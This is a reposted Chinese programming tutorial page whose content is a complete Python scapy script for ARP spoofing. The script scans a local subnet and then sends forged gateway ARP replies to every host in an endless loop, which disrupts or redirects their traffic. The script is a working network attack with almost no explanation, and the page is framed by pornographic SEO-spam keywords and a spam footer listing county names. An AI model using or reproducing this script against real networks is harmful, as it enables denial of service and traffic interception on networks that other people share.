国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python使用arp欺騙偽造網關的方法

2020-02-23 00:52:39
字體:
來源:轉載
供稿:網友

本文實例講述了python使用arp欺騙偽造網關的方法。分享給大家供大家參考。具體實現方法如下:

#coding:utf-8'''arp欺騙局域網pc,將偽造的網關mac以網關的arp應答發送給pc'''from scapy.all import ARP,send,arpingimport sys,restdout=sys.stdoutIPADDR="192.168.1.*"gateway_ip='192.168.1.1'#偽造網關mac地址gateway_hw='00:11:22:33:44:55'p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)def arp_hack(ip,hw):  #偽造來自網關的arp應答  t=p  t.hwdst=hw  t.pdst=ip  send(t)def get_host():  #得到在線主機的mac地址和對應ip地址   hw_ip = {}  sys.stdout = open('host.info','w')  arping(IPADDR)  sys.stdout = stdout  f = open('host.info','r')  info = f.readlines()  f.close  del info[0]  del info[0]  for host in info :    temp = re.split(r'/s+',host)    hw_ip[temp[1]] = temp[2]  return hw_ipif __name__ == "__main__":  hw_ip = get_host()  while 1 :    for i in hw_ip :      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述對大家的Python程序設計有所幫助。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 盈江县| 巧家县| 伊川县| 乾安县| 华蓥市| 夏邑县| 湾仔区| 垦利县| 仙居县| 万安县| 广汉市| 日土县| 吴堡县| 马龙县| 澎湖县| 涟水县| 安宁市| 大竹县| 呼玛县| 宁波市| 万源市| 墨脱县| 大兴区| 双辽市| 青川县| 曲麻莱县| 汉寿县| 凌云县| 都安| 大丰市| 临城县| 镇原县| 电白县| 阿城市| 西乌| 进贤县| 营口市| 武宣县| 古蔺县| 湘阴县| 荆门市|